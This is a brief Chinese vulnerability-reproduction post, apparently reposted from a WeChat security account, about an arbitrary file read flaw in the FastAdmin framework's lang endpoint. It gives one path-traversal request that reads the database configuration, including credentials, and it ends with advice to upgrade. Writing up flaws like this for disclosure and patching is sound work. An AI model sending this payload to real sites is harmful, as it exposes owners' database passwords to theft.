Fastadmin框架存在任意文件读取漏洞

01    免责声明：

文章内容仅供日常学习使用，请勿非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任。如有内容争议或侵权，我们会及时删除。

FastAdmin是一款基于ThinkPHP+Bootstrap开发的快速后台开发框架。

fastadmin框架lang接口存在任意文件读取漏洞，可以读取数据库的账号和密码。

03    测绘查询-系统指纹

04    漏洞复现 

/index/ajax/lang?lang=../../application/database

06    漏洞修复建议

系统已发布漏洞修复版本，建议联系厂商获取升级补丁修复漏洞。

https://www.fastadmin.net/

原文始发于微信公众号（安羽安全）：【漏洞复现】Fastadmin框架存在任意文件读取漏洞